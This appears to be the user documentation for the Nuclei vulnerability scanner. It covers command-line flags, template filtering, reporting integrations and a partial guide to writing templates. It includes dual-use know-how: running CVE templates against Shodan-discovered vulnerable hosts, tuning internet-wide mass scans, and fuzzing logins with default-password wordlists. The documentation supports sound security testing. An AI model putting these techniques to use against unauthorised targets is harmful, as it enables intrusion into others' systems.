Nuclei - Community Powered Vulnerability Scanner

None

None

Table of contents

1. Getting Started

1.1 Index

1.1.1 Automate Network Vulnerability Scans with **Nuclei**

Nuclei can help you ensure the security of complex networks. With vulnerability scans, Nuclei can identify security issues on your network. Once configured, Nuclei can provide detailed information on each vulnerability, including:

- Severity
- Impact
- Recommended remediation

Once you've set up templates, you can automate scans of your systems with every change to your network, and with every discovery of new security issues.

In this Getting Started guide, we describe how you can set up Nuclei to automate vulnerability scans on a relatively simple network. You can then use our Templating Guide to customize Nuclei for your networks.

1.1.2 **Nuclei** Features

Features.

- HTTP | DNS | TCP | FILE support
- Fully configurable templates.
- Large scale scanning.
- Out of band based detection.
- Easily write your own templates.

1.1.3 **Nuclei** Installation

- Go
  Brew
  Docker
  Github
  Binary
  Helm

1.1.4 Nuclei **Templates**

Nuclei has built-in support for automatic update/download templates since version v2.4.0. **Nuclei-Templates** project provides a community-contributed list of ready-to-use templates that is constantly updated.

Nuclei also support for update/download custom template repositories. You can pass the file/list of Github repositories by using `-gtr` / `-github-template-repo` flag. This will download the repositories under `nuclei-templates/github` directory. To update the repo you can pass the `-update-templates` with `-gtr` flag.

Nuclei checks for new community template releases upon each execution and automatically downloads the latest version when available. This feature can be disabled using the `-duc`, `-disable-update-check` flags via the CLI or the configuration file.

The nuclei engine can also be updated to latest version by using the `-update` flag.

Tip

Writing your own unique templates will always keep you one step ahead of others.

1.1.5 **Nuclei** Usage

```
nuclei -h
```

This will display help for the tool. Here are all the switches it supports.

```
Nuclei is a fast, template based vulnerability scanner focusing
on extensive configurability, massive extensibility and ease of use.

Usage:
  nuclei [flags]

Flags:
TARGET:
   -u, -target string[]       target URLs/hosts to scan
   -l, -list string           path to file containing a list of target URLs/hosts to scan (one per line)
   -resume string             resume scan using resume.cfg (clustering will be disabled)
   -sa, -scan-all-ips         scan all the IP's associated with dns record
   -iv, -ip-version string[]  IP version to scan of hostname (4,6) - (default 4)

TEMPLATES:
   -nt, -new-templates                    run only new templates added in latest nuclei-templates release
   -ntv, -new-templates-version string[]  run new templates added in specific version
   -as, -automatic-scan                   automatic web scan using wappalyzer technology detection to tags mapping
   -t, -templates string[]                list of template or template directory to run (comma-separated, file)
   -tu, -template-url string[]            list of template urls to run (comma-separated, file)
   -w, -workflows string[]                list of workflow or workflow directory to run (comma-separated, file)
   -wu, -workflow-url string[]            list of workflow urls to run (comma-separated, file)
   -validate                              validate the passed templates to nuclei
   -nss, -no-strict-syntax                disable strict syntax check on templates
   -td, -template-display                 displays the templates content
   -tl                                    list all available templates

FILTERING:
   -a, -author string[]               templates to run based on authors (comma-separated, file)
   -tags string[]                     templates to run based on tags (comma-separated, file)
   -etags, -exclude-tags string[]     templates to exclude based on tags (comma-separated, file)
   -itags, -include-tags string[]     tags to be executed even if they are excluded either by default or configuration
   -id, -template-id string[]         templates to run based on template ids (comma-separated, file)
   -eid, -exclude-id string[]         templates to exclude based on template ids (comma-separated, file)
   -it, -include-templates string[]   templates to be executed even if they are excluded either by default or configuration
   -et, -exclude-templates string[]   template or template directory to exclude (comma-separated, file)
   -em, -exclude-matchers string[]    template matchers to exclude in result
   -s, -severity value[]              templates to run based on severity. Possible values: info, low, medium, high, critical, unknown
   -es, -exclude-severity value[]     templates to exclude based on severity. Possible values: info, low, medium, high, critical,
unknown
   -pt, -type value[]                 templates to run based on protocol type. Possible values: dns, file, http, headless, network,
workflow, ssl, websocket, whois
   -ept, -exclude-type value[]        templates to exclude based on protocol type. Possible values: dns, file, http, headless, network,
workflow, ssl, websocket, whois
   -tc, -template-condition string[]  templates to run based on expression condition

OUTPUT:
   -o, -output string            output file to write found issues/vulnerabilities
   -sresp, -store-resp          store all request/response passed through nuclei to output directory
   -srd, -store-resp-dir string  store all request/response passed through nuclei to custom directory (default "output")
   -silent                      display findings only
   -nc, -no-color               disable output content coloring (ANSI escape codes)
   -json                        write output in JSONL(ines) format
   -irr, -include-rr            include request/response pairs in the JSONL output (for findings only)
   -nm, -no-meta                disable printing result metadata in cli output
   -ts, -timestamp              enables printing timestamp in cli output
   -rdb, -report-db string      nuclei reporting database (always use this to persist report data)
   -ms, -matcher-status         display match failure status
   -me, -markdown-export string  directory to export results in markdown format
   -se, -sarif-export string     file to export results in SARIF format

CONFIGURATIONS:
   -config string                path to the nuclei configuration file
   -fr, -follow-redirects        enable following redirects for http templates
   -fhr, -follow-host-redirects   follow redirects on the same host
   -mr, -max-redirects int       max number of redirects to follow for http templates (default 10)
   -dr, -disable-redirects       disable redirects for http templates
   -rc, -report-config string    nuclei reporting module configuration file
   -H, -header string[]          custom header/cookie to include in all http request in header:value format (cli, file)
   -V, -var value                custom vars in key=value format
   -r, -resolvers string         file containing resolver list for nuclei
   -sr, -system-resolvers        use system DNS resolving as error fallback
   -dc, -disable-clustering      disable clustering of requests
   -passive                      enable passive HTTP response processing mode
   -fh2, -force-http2            force http2 connection on requests
   -ev, -env-vars                enable environment variables to be used in template
   -cc, -client-cert string      client certificate file (PEM-encoded) used for authenticating against scanned hosts
   -ck, -client-key string       client key file (PEM-encoded) used for authenticating against scanned hosts
   -ca, -client-ca string        client certificate authority file (PEM-encoded) used for authenticating against scanned hosts
   -sml, -show-match-line        show match lines for file templates, works with extractors only
   -ztls                         use ztls library with autofallback to standard one for tls13
   -sni string                   tls sni hostname to use (default: input domain name)
   -sandbox                      sandbox nuclei for safe templates execution
   -i, -interface string         network interface to use for network scan
   -at, -attack-type string      type of payload combinations to perform (batteringram,pitchfork,clusterbomb)
   -sip, -source-ip string       source ip address to use for network scan
   -config-directory string      override the default config path ($home/.config)
   -rsr, -response-size-read int  max response size to read in bytes (default 10485760)
   -rss, -response-size-save int  max response size to read in bytes (default 1048576)

INTERACTSH:
   -iserver, -interactsh-server string  interactsh server url for self-hosted instance (default:
oast.pro,oast.live,oast.site,oast.online,oast.fun,oast.me)
   -itoken, -interactsh-token string    authentication token for self-hosted interactsh server
   -interactions-cache-size int         number of requests to keep in the interactions cache (default 5000)
   -interactions-eviction int           number of seconds to wait before evicting requests from cache (default 60)
   -interactions-poll-duration int      number of seconds to wait before each interaction poll request (default 5)
   -interactions-cooldown-period int    extra time for interaction polling before exiting (default 5)
   -ni, -no-interactsh                  disable interactsh server for OAST testing, exclude OAST based templates

UNCOVER:
   -uc, -uncover                 enable uncover engine
   -uq, -uncover-query string[]   uncover search query
   -ue, -uncover-engine string[]  uncover search engine (shodan,shodan-idb,fofa,censys,quake,hunter,zoomeye,netlas,criminalip) (default
shodan)
   -uf, -uncover-field string     uncover fields to return (ip,port,host) (default "ip:port")
   -ul, -uncover-limit int        uncover results to return (default 100)
   -ucd, -uncover-delay int       delay between uncover query requests in seconds (0 to disable) (default 1)

RATE-LIMIT:
   -rl, -rate-limit int               maximum number of requests to send per second (default 150)
   -rlm, -rate-limit-minute int       maximum number of requests to send per minute
   -bs, -bulk-size int                maximum number of hosts to be analyzed in parallel per template (default 25)
   -c, -concurrency int               maximum number of templates to be executed in parallel (default 25)
   -hbs, -headless-bulk-size int      maximum number of headless hosts to be analyzed in parallel per template (default 10)
   -headc, -headless-concurrency int  maximum number of headless templates to be executed in parallel (default 10)

OPTIMIZATIONS:
   -timeout int                        time to wait in seconds before timeout (default 10)
   -retries int                        number of times to retry a failed request (default 1)
   -ldp, -leave-default-ports          leave default HTTP/HTTPS ports (eg. host:80,host:443)
   -mhe, -max-host-error int           max errors for a host before skipping from scan (default 30)
   -project                            use a project folder to avoid sending same request multiple times
   -project-path string                set a specific project path
   -spm, -stop-at-first-match          stop processing HTTP requests after the first match (may break template/workflow logic)
   -stream                             stream mode - start elaborating without sorting the input
   -ss, -scan-strategy value           strategy to use while scanning(auto/host-spray/template-spray) (default 0)
   -irt, -input-read-timeout duration  timeout on input read (default 3m0s)
   -nh, -no-httpx                      disable httpx probing for non-url input
   -no-stdin                           disable stdin processing

HEADLESS:
   -headless                    enable templates that require headless browser support (root user on Linux will disable sandbox)
   -page-timeout int            seconds to wait for each page in headless mode (default 20)
   -sb, -show-browser           show the browser on the screen when running templates with headless mode
   -sc, -system-chrome          use local installed Chrome browser instead of nuclei installed
   -lha, -list-headless-action  list available headless actions

DEBUG:
   -debug                    show all requests and responses
   -dreq, -debug-req         show all sent requests
   -dresp, -debug-resp       show all received responses
   -p, -proxy string[]       list of http/socks5 proxy to use (comma separated or file input)
   -pi, -proxy-internal      proxy all internal requests
   -ldf, -list-dsl-function  list all supported DSL function signatures
   -tlog, -trace-log string  file to write sent requests trace log
   -elog, -error-log string  file to write sent requests error log
   -version                  show nuclei version
   -hm, -hang-monitor        enable nuclei hang monitoring
   -v, -verbose              show verbose output
   -profile-mem string       optional nuclei memory profile dump file
   -vv                       display templates loaded for scan
   -svd, -show-var-dump      show variables dump for debugging
   -ep, -enable-pprof        enable pprof debugging server
   -tv, -templates-version   shows the version of the installed nuclei-templates
   -hc, -health-check        run diagnostic check up

UPDATE:
   -un, -update                       update nuclei engine to the latest released version
   -ut, -update-templates             update nuclei-templates to latest released version
   -ud, -update-template-dir string  custom directory to install / update nuclei-templates
   -duc, -disable-update-check       disable automatic nuclei/templates update check

STATISTICS:
   -stats                    display statistics about the running scan
   -sj, -stats-json          write statistics data to an output file in JSONL(ines) format
   -si, -stats-interval int  number of seconds to wait between showing a statistics update (default 5)
   -m, -metrics              expose nuclei metrics on a port
   -mp, -metrics-port int    port to expose nuclei metrics on (default 9092)
```

1.1.6 Running **Nuclei**

Nuclei templates can be primarily executed in two ways,

1) **Templates** (`-t/templates`)

As default, all the templates (except nuclei-ignore list) gets executed from default template installation path.

```
nuclei -u https://example.com
```

Custom template directory or multiple template directory can be executed as follows,

```
nuclei -u https://example.com -t cves/ -t exposures/
```

Custom template Github repos are downloaded under `github` directory. Custom repo templates can be passed as follows

```
nuclei -u https://example.com -t github/private-repo
```

Similarly, Templates can be executed against list of URLs.

```
nuclei -list http_urls.txt
```

2) **Workflows** (`-w/workflows`)

```
nuclei -u https://example.com -w workflows/
```

Similarly, Workflows can be executed against list of URLs.

```
nuclei -list http_urls.txt -w workflows/wordpress-workflow.yaml
```

Nuclei Filters

Nuclei engine supports three basic filters to customize template execution.

1. Tags (`-tags`)

   Filter based on tags field available in the template.

2. Severity (`-severity`)

   Filter based on severity field available in the template.

3. Author (`-author`)

   Filter based on author field available in the template.

As default, Filters are applied on installed path of templates and can be customized with manual template path input.

For example, below command will run all the templates installed at `~/nuclei-templates/` directory and has `cve` tags in it.

```
nuclei -u https://example.com -tags cve
```

And this example will run all the templates available under `~/nuclei-templates/exposures/` directory and has `config` tag in it.

```
nuclei -u https://example.com -tags config -t exposures/
```

Multiple filters works together with AND condition, below example runs all template with `cve` tags AND has `critical` OR `high` severity AND `geeknik` as author of template.

```
nuclei -u https://example.com -tags cve -severity critical,high -author geeknik
```

Multiple filters can also be combined using the template condition flag (`-tc`) that allows complex expressions like the following ones:

```
nuclei -tc "contains(id,'xss') || contains(tags,'xss')"
nuclei -tc "contains(tags,'cve') && contains(tags,'ssrf')"
nuclei -tc "contains(name, 'Local File Inclusion')"
```

The supported fields are:

- `id` string
- `name` string
- `description` string
- `tags` slice of strings
- `authors` slice of strings
- `severity` string
- `protocol` string
- `http_method` slice of strings
- `body` string (containing all request bodies if any)
- `matcher_type` slice of string
- `extractor_type` slice of string
- `description` string

Also, every key-value pair from the template metadata section is accessible. All fields can be combined with logical operators (`||` and `&&`) and used with DSL helper functions.

Similarly, all filters are supported in workflows as well.

```
nuclei -w workflows/wordpress-workflow.yaml -severity critical,high -list http_urls.txt
```

Workflows

In Workflows, Nuclei filters are applied on templates or sub-templates running via workflows, not on the workflows itself.

Rate Limits

Nuclei have multiple rate limit controls for multiple factors, including a number of templates to execute in parallel, a number of hosts to be scanned in parallel for each template, and the global number of request / per second you wanted to make/limit using nuclei, here is an example of each flag with description.

Flag	Description
rate-limit	Control the total number of request to send per seconds
bulk-size	Control the number of hosts to process in parallel for each template
c	Control the number of templates to process in parallel

Feel free to play with these flags to tune your nuclei scan speed and accuracy.

Tip

`rate-limit` flag takes precedence over the other two flags, the number of requests/seconds can't go beyond the value defined for `rate-limit` flag regardless the value of `c` and `bulk-size` flag.

Traffic Tagging

Many BugBounty platform/programs requires you to identify the HTTP traffic you make, this can be achieved by setting custom header using config file at `$HOME/.config/nuclei/config.yaml` or CLI flag `-H / header`

Setting custom header using config file

```
# Headers to include with each request.
header:
  - 'X-BugBounty-Hacker: h1/geekboy'
  - 'User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) / nuclei'
```

Setting custom header using CLI flag

```
nuclei -header 'User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) / nuclei' -list urls.txt -tags cves
```

Template Exclusion

Nuclei supports a variety of methods for excluding / blocking templates from execution. By default, **nuclei** excludes the tags/templates listed below from execution to avoid unexpected fuzz based scans and some that are not supposed to run for mass scan, and these can be easily overwritten with nuclei configuration file / flags.

- Default Template ignore list.

nuclei-ignore file is not supposed to be updated / edited / removed by user, to overwrite default ignore list, utilize nuclei configuration file.

Nuclei engine supports two ways to manually exclude templates from scan,

1. Exclude Templates (`-exclude-templates/exclude`)

   exclude-templates flag is used to exclude single or multiple templates and directory, multiple `-exclude-templates` flag can be used to provide multiple values.

2. Exclude Tags (`-exclude-tags/etags`)

   exclude-tags flag is used to exclude templates based in defined tags, single or multiple can be used to exclude templates.

Example of excluding single template

```
nuclei -list urls.txt -t cves/ -exclude-templates cves/2020/CVE-2020-XXXX.yaml
```

Example of multiple template exclusion

```
nuclei -list urls.txt -exclude-templates exposed-panels/ -exclude-templates technologies/
```

Example of excluding templates with single tag

```
nuclei -l urls.txt -t cves/ -etags xss
```

Example of excluding templates with multiple tags

```
nuclei -l urls.txt -t cves/ -etags sqli,rce
```

To easily overwrite nuclei-ignore, Nuclei engine supports **include-tags / include-templates** flag.

Example of running blocked templates

```
nuclei -l urls.txt -include-tags iot,misc,fuzz
```

Uncover Integration

Nuclei supports integration with uncover to executes template against hosts returned by uncover for the given query.

Here are uncover options to use -

```
nuclei -h uncover

UNCOVER:
   -uc, -uncover                  enable uncover engine
   -uq, -uncover-query string[]   uncover search query
   -ue, -uncover-engine string[]  uncover search engine (shodan,shodan-idb,fofa,censys,quake,hunter,zoomeye,netlas,criminalip) (default
shodan)
   -uf, -uncover-field string     uncover fields to return (ip,port,host) (default "ip:port")
   -ul, -uncover-limit int        uncover results to return (default 100)
   -ucd, -uncover-delay int       delay between uncover query requests in seconds (0 to disable) (default 1)
```

You have set the API key of the engine you are using as an environment variable in your shell.

```
export SHODAN_API_KEY=xxx
export CENSYS_API_ID=xxx
export CENSYS_API_SECRET=xxx
export FOFA_EMAIL=xxx
export FOFA_KEY=xxx
export QUAKE_TOKEN=xxx
export HUNTER_API_KEY=xxx
export ZOOMEYE_API_KEY=xxx
```

Required API keys can be obtained by signing up on following platform Shodan, Censys, Fofa, Quake, Hunter and ZoomEye .

Example of template execution using a search query.

```
export SHODAN_API_KEY=xxx
nuclei -id 'CVE-2021-26855' -uq 'vuln:CVE-2021-26855' -ue shodan
```

It can also read queries from templates metadata and execute template against hosts returned by uncover for that query.

Example of template execution using template-defined search queries.

Template snippet of CVE-2021-26855

```
  metadata:
    shodan-query: 'vuln:CVE-2021-26855'
```

```
nuclei -t cves/2021/CVE-2021-26855.yaml -uncover
nuclei -tags cve -uncover
```

We can update the nuclei configuration file to include these tags for all scans.

1.1.7 **Mass Scanning** using Nuclei

Nuclei fully utilises resources to optimise scanning speed. However, when scanning **thousands**, if not **millions, of targets**, scanning using default parameter values is bound to cause some performance issues ex: low RPS, Slow Scans, Process Killed, High RAM consumption, etc. this is due to limited resources and network I/O. Hence following parameters need to be tuned based on system configuration and targets.

Flag	Short	Description
scan-strategy	-ss	Scan Strategy to Use (auto/host-spray/template-spray)
bulk-size	-bs	Max Number of targets to scan in parallel
concurrency	-c	Max Number of templates to use in parallel while scanning
stream	-	stream mode - start elaborating without sorting the input

Note

These are common parameters that need to be tuned . apart from these `-rate-limit` , `-retries` , `-timeout` , `-max-host-error` also need to be tuned based on targets that are being scanned

Which Scan Strategy to Use?

scan-strategy option can have three possible values

- `host-spray` : All templates are iterated over each target.
- `template-spray` : Each template is iterated over all targets.
- `auto` (Default) : Placeholder of `template-spray` for now.

User should select **Scan Strategy** based on number of targets and Each strategy has its own pros & cons.

- When targets < 1000 . `template-spray` should be used . this strategy is slightly faster than `host-spray` but uses more RAM and doesnot optimally reuse connections.
- When targets > 1000 . `host-spray` should be used . this strategy uses less RAM than `template-spray` and reuses HTTP connections along with some minor improvements and these are crucial when mass scanning.

Concurrency & Bulk-Size

Whatever the `scan-strategy` is `-concurrency` and `-bulk-size` are crucial for tuning any type of scan. While tuning these parameters following points should be noted.

If `scan-strategy` is template-spray

- `-concurrency` < `bulk-size` (Ex: `-concurrency 10 -bulk-size 200`)

If `scan-strategy` is host-spray

- `-concurrency` > `bulk-size` (Ex: `-concurrency 200 -bulk-size 10`)

Tip

`-concurrency` x `-bulk-size` <= 2500 (depending on system config)

Stream

This option should only be enabled if targets > 10k . This skips any type of sorting or preprocessing on target list.

1.1.8 Nuclei **Config**

> Since release of v.2.3.2 nuclei uses goflags for clean CLI experience and long/short formatted flags.
>
> goflags comes with auto-generated config file support that coverts all available CLI flags into config file, basically you can define all CLI flags into config file to avoid repetitive CLI flags that loads as default for every scan of nuclei.
>
> Default path of nuclei config file is `$HOME/.config/nuclei/config.yaml`, uncomment and configure the flags you wish to run as default.

Here is an example config file:

```yaml
# Headers to include with all HTTP request
header:
  - 'X-BugBounty-Hacker: h1/geekboy'

# Directory based template execution
templates:
  - cves/
  - vulnerabilities/
  - misconfiguration/

# Tags based template execution
tags: exposures,cve

# Template Filters
tags: exposures,cve
author: geeknik,pikpikcu,dhiyaneshdk
severity: critical,high,medium

# Template Allowlist
include-tags: dos,fuzz # Tag based inclusion (allows overwriting nuclei-ignore list)
include-templates: # Template based inclusion (allows overwriting nuclei-ignore list)
  - vulnerabilities/xxx
  - misconfiguration/xxxx

# Template Denylist
exclude-tags: info # Tag based exclusion
exclude-templates: # Template based exclusion
  - vulnerabilities/xxx
  - misconfiguration/xxxx

# Rate Limit configuration
rate-limit: 500
bulk-size: 50
concurrency: 50
```

Once configured, **config file be used as default**, additionally custom config file can be also provided using `-config` flag.

Running nuclei with custom config file

```
nuclei -config project.yaml -list urls.txt
```

1.1.9 Nuclei **Reporting**

Nuclei comes with reporting module support with the release of v2.3.0 supporting GitHub, GitLab, and Jira integration, this allows nuclei engine to create automatic tickets on the supported platform based on found results.

Platform	GitHub	GitLab	Jira	Markdown	SARIF	Elasticsearch	Splunk HEC
Support	✓	✓	✓	✓	✓	✓	✓

`-rc, -report-config` flag can be used to provide a config file to read configuration details of the platform to integrate. Here is an example config file for all supported platforms.

For example, to create tickets on GitHub, create a config file with the following content and replace the appropriate values:

```
# GitHub contains configuration options for GitHub issue tracker

github:
  username: "$user"
  owner: "$user"
  token: "$token"
  project-name: "testing-project"
  issue-label: "Nuclei"
```

To store results in Elasticsearch, create a config file with the following content and replace the appropriate values:

```
# elasticsearch contains configuration options for elasticsearch exporter
elasticsearch:
  # IP for elasticsearch instance
  ip: 127.0.0.1
  # Port is the port of elasticsearch instance
  port: 9200
  # IndexName is the name of the elasticsearch index
  index-name: nuclei
```

To forward results to Splunk HEC, create a config file with the following content and replace the appropriate values:

```
# splunkhec contains configuration options for splunkhec exporter
splunkhec:
  # Hostname for splunkhec instance
  host: "$hec_host"
  # Port is the port of splunkhec instance
  port: 8088
  # IndexName is the name of the splunkhec index
  index-name: nuclei
  # SSL enables ssl for splunkhec connection
  ssl: true
  # SSLVerification disables SSL verification for splunkhec
  ssl-verification: true
  # HEC Token for the splunkhec instance
  token: "$hec_token"
```

Running nuclei with reporting module:

```
nuclei -l urls.txt -t cves/ -rc issue-tracker.yaml
```

Similarly, other platforms can be configured. Reporting module also supports basic filtering and duplicate checks to avoid duplicate ticket creation.

```
allow-list:
  severity: high,critical
```

This will ensure to only creating tickets for issues identified with **high** and **critical** severity; similarly, `deny-list` can be used to exclude issues with a specific severity.

If you are running periodic scans on the same assets, you might want to consider `-rdb, -report-db` flag that creates a local copy of the valid findings in the given directory utilized by reporting module to compare and **create tickets for unique issues only**.

```
nuclei -l urls.txt -t cves/ -rc issue-tracker.yaml -rdb prod
```

Markdown Export

Nuclei supports markdown export of valid findings with `-me, -markdown-export` flag, this flag takes directory as input to store markdown formatted reports.

Including request/response in the markdown report is optional, and included when `-irr, -include-rr` flag is used along with `-me`.

```
nuclei -l urls.txt -t cves/ -irr -markdown-export reports
```

SARIF Export

Nuclei supports SARIF export of valid findings with `-se, -sarif-export` flag. This flag takes a file as input to store SARIF formatted report.

```
nuclei -l urls.txt -t cves/ -sarif-export report.sarif
```

It is also possible to visualize Nuclei results using **sarif** file.

1. By Uploading SARIF File to SARIF Viewer
2. By Uploading SARIF File to Github Actions

more info here.

Note

These are **not official** viewers of Nuclei and `Nuclei` has no liability towards any of these options to visualize **Nuclei** results. These are just some publicly available options to visualize SARIF File.

1.1.10 Scan **Metrics**

Nuclei expose running scan metrics on a local port `9092` when `-metrics` flag is used and can be accessed at **localhost:9092/metrics**, default port to expose scan information is configurable using `-metrics-port` flag.

Here is an example to query `metrics` while running nuclei as following `nuclei -t cves/ -l urls.txt -metrics`

```
curl -s localhost:9092/metrics | jq .
```

```
{
  "duration": "0:00:03",
  "errors": "2",
  "hosts": "1",
  "matched": "0",
  "percent": "99",
  "requests": "350",
  "rps": "132",
  "startedAt": "2021-03-27T18:02:18.886745+05:30",
  "templates": "256",
  "total": "352"
}
```

1.1.11 Passive Scan

Nuclei engine supports passive mode scanning for HTTP based template utilizing file support, with this support we can run HTTP based templates against locally stored HTTP response data collected from any other tool.

```
nuclei -passive -target http_data
```

> Passive mode support is limited for templates having `{{BasedURL}}` or `{{BasedURL/}}` as base path.

1.1.12 **Code** Contribution

Nuclei templates are the base of the nuclei project. We appreciate it if you can write and submit new templates to keep this project alive, and one of the reasons to keep us motivated to keep working on this project.

1.1.13 License

Nuclei is distributed under MIT License.

2. Templating Guide

2.1 Templating Guide

Nuclei is based on the concepts of `YAML` based template files that define how the requests will be sent and processed. This allows easy extensibility capabilities to nuclei.

The templates are written in `YAML` which specifies a simple human-readable format to quickly define the execution process.

Guide to write your own nuclei template -

2.1.1 Template Details

Each template has a unique ID which is used during output writing to specify the template name for an output line.

The template file ends with **YAML** extension. The template files can be created any text editor of your choice.

```
id: git-config
```

ID must not contain spaces. This is done to allow easier output parsing.

Information

Next important piece of information about a template is the **info** block. Info block provides **name**, **author**, **severity**, **description**, **reference**, **tags** and `metadata`. It also contains **severity** field which indicates the severity of the template, **info** block also supports dynamic fields, so one can define N number of `key: value` blocks to provide more useful information about the template. **reference** is another popular tag to define external reference links for the template.

Another useful tag to always add in `info` block is **tags**. This allows you to set some custom tags to a template, depending on the purpose like `cve`, `rce` etc. This allows nuclei to identify templates with your input tags and only run them.

Example of an info block -

```
info:
  name: Git Config File Detection Template
  author: Ice3man
  severity: medium
  description: Searches for the pattern /.git/config on passed URLs.
  reference: https://www.acunetix.com/vulnerabilities/web/git-repository-found/
  tags: git,config
```

Actual requests and corresponding matchers are placed below the info block, and they perform the task of making requests to target servers and finding if the template request was successful.

Each template file can contain multiple requests to be made. The template is iterated and one by one the desired requests are made to the target sites.

The best part of this is you can simply share your crafted template with your teammates, triage/security team to replicate the issue on the other side with ease.

METADATA

It's possible to add metadata nodes, for example, to integrates with uncover (cf. Uncover Integration).

The metadata nodes are crafted this way: `<engine>-query: '<query>'` where:

- `<engine>` is the search engine, equivalent of the value of the `-ue` option of nuclei or the `-e` option of uncover
- `<query>` is the search query, equivalent of the value of the `-uq` option of nuclei or the `-q` option of uncover

For example for Shodan:

```
info:
  metadata:
    shodan-query: 'vuln:CVE-2021-26855'
```

2.2 HTTP

2.2.1 Base requests

Requests

Nuclei offers extensive support for various features related to HTTP protocol. Raw and Model based HTTP requests are supported, along with options Non-RFC client requests support too. Payloads can also be specified and raw requests can be transformed based on payload values along with many more capabilities that are shown later on this Page.

HTTP Requests start with a `request` block which specifies the start of the requests for the template.

```
# Start the requests for the template right here
requests:
```

Method

Request method can be **GET**, **POST**, **PUT**, **DELETE**, etc. depending on the needs.

```
# Method is the method for the request
method: GET
```

Redirects

Redirection conditions can be specified per each template. By default, redirects are not followed. However, if desired, they can be enabled with `redirects: true` in request details. 10 redirects are followed at maximum by default which should be good enough for most use cases. More fine grained control can be exercised over number of redirects followed by using `max-redirects` field.

An example of the usage:

```
requests:
  - method: GET
    path:
      - "{{BaseURL}}/login.php"
    redirects: true
    max-redirects: 3
```

Warning

Currently redirects are defined per template, not per request.

Path

The next part of the requests is the **path** of the request path. Dynamic variables can be placed in the path to modify its behavior on runtime.

Variables start with `{{` and end with `}}` and are case-sensitive.

{{BaseURL}} - This will replace on runtime in the request by the input URL as specified in the target file.

{{RootURL}} - This will replace on runtime in the request by the root URL as specified in the target file.

{{Hostname}} - Hostname variable is replaced by the hostname including port of the target on runtime.

{{Host}} - This will replace on runtime in the request by the input host as specified in the target file.

{{Port}} - This will replace on runtime in the request by the input port as specified in the target file.

{{Path}} - This will replace on runtime in the request by the input path as specified in the target file.

{{File}} - This will replace on runtime in the request by the input filename as specified in the target file.

{{Scheme}} - This will replace on runtime in the request by protocol scheme as specified in the target file.

An example is provided below - https://example.com:443/foo/bar.php

Variable	Value
{{BaseURL}}	https://example.com:443/foo/bar.php
{{RootURL}}	https://example.com:443
{{Hostname}}	example.com:443
{{Host}}	example.com
{{Port}}	443
{{Path}}	/foo
{{File}}	bar.php
{{Scheme}}	https

Some sample dynamic variable replacement examples:

```
path: "{{BaseURL}}/.git/config"
# This path will be replaced on execution with BaseURL
# If BaseURL is set to  https://abc.com then the
# path will get replaced to the following: https://abc.com/.git/config
```

Multiple paths can also be specified in one request which will be requested for the target.

Headers

Headers can also be specified to be sent along with the requests. Headers are placed in form of key/value pairs. An example header configuration looks like this:

```
# headers contain the headers for the request
headers:
  # Custom user-agent header
  User-Agent: Some-Random-User-Agent
  # Custom request origin
  Origin: https://google.com
```

Body

Body specifies a body to be sent along with the request. For instance:

```
# Body is a string sent along with the request
body: "{\"some random JSON\"}"

# Body is a string sent along with the request
body: "admin=test"
```

Session

To maintain cookie based browser like session between multiple requests, you can simply use `cookie-reuse: true` in your template, Useful in cases where you want to maintain session between series of request to complete the exploit chain and to perform authenticated scans.

```
# cookie-reuse accepts boolean input and false as default
cookie-reuse: true
```

Request Condition

Request condition allows checking for the condition between multiple requests for writing complex checks and exploits involving various HTTP requests to complete the exploit chain.

The functionality will be automatically enabled if DSL matchers/extractors contain numbers as a suffix with respective attributes.

For example, the attribute `status_code` will point to the effective status code of the current request/response pair in elaboration. Previous responses status codes are accessible by suffixing the attribute name with `_n`, where n is the n-th ordered request 1-based. So if the template has four requests and we are currently at number 3: - `status_code`: will refer to the response code of request number 3 - `status_code_1` and `status_code_2` will refer to the response codes of the sequential responses number one and two

For example with `status_code_1`, `status_code_3`, and `body_2`:

```
    matchers:
      - type: dsl
        dsl:
          - "status_code_1 == 404 && status_code_2 == 200 && contains((body_2), 'secret_string')"
```

Note: request conditions might require more memory as all attributes of previous responses are kept in memory

Example HTTP Template

The final template file for the `.git/config` file mentioned above is as follows:

```
id: git-config

info:
  name: Git Config File
  author: Ice3man
  severity: medium
  description: Searches for the pattern /.git/config on passed URLs.

requests:
```

```yaml
  - method: GET
    path:
      - "{{BaseURL}}/.git/config"
    matchers:
      - type: word
        words:
          - "[core]"
```

RAW HTTP REQUESTS

Another way to create request is using raw requests which comes with more flexibility and support of DSL helper functions, like the following ones (as of now it's suggested to leave the `Host` header as in the example with the variable `{{Hostname}}`), All the Matcher, Extractor capabilities can be used with RAW requests in same the way described above.

```yaml
requests:
  - raw:
    - |
        POST /path2/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        a=test&b=pd
```

Requests can be fine-tuned to perform the exact tasks as desired. Nuclei requests are fully configurable meaning you can configure and define each and every single thing about the requests that will be sent to the target servers.

RAW request format also supports various helper functions letting us do run time manipulation with input. An example of the using a helper function in the header.

```yaml
    - raw:
      - |
        GET /manager/html HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{base64('username:password')}} # Helper function to encode input at run time.
```

To make a request to the URL specified as input without any additional tampering, a blank Request URI can be used as specified below which will make the request to user specified input.

```yaml
    - raw:
      - |
        GET HTTP/1.1
        Host: {{Hostname}}
```

HTTP PAYLOADS

Info

Nuclei engine supports payloads module that allow to run various type of payloads in multiple format, It's possible to define placeholders with simple keywords (or using brackets `{{helper_function(variable)}}` in case mutator functions are needed), and perform **batteringram**, **pitchfork** and **clusterbomb** attacks. The wordlist for these attacks needs to be defined during the request definition under the Payload field, with a name matching the keyword, Nuclei supports both file based and in template wordlist support and Finally all DSL functionalities are fully available and supported, and can be used to manipulate the final values.

Payloads are defined using variable name and can be referenced in the request in between `§ §` or `{{ }}` marker.

An example of the using payloads with local wordlist:

```yaml
    # HTTP Intruder fuzzing using local wordlist.
    payloads:
      paths: params.txt
      header: local.txt
```

An example of the using payloads with in template wordlist support:

```yaml
    # HTTP Intruder fuzzing using in template wordlist.

    payloads:
      password:
        - admin
        - guest
        - password
```

Note: be careful while selecting attack type, as unexpected input will break the template.

For example, if you used `clusterbomb` or `pitchfork` as attack type and defined only one variable in the payload section, template will fail to compile, as `clusterbomb` or `pitchfork` expect more than one variable to use in the template.

Attack mode

Nuclei engine supports multiple attack types, including `batteringram` as default type which generally used to fuzz single parameter, `clusterbomb` and `pitchfork` for fuzzing multiple parameters which works same as classical burp intruder.

Type	batteringram	pitchfork	clusterbomb
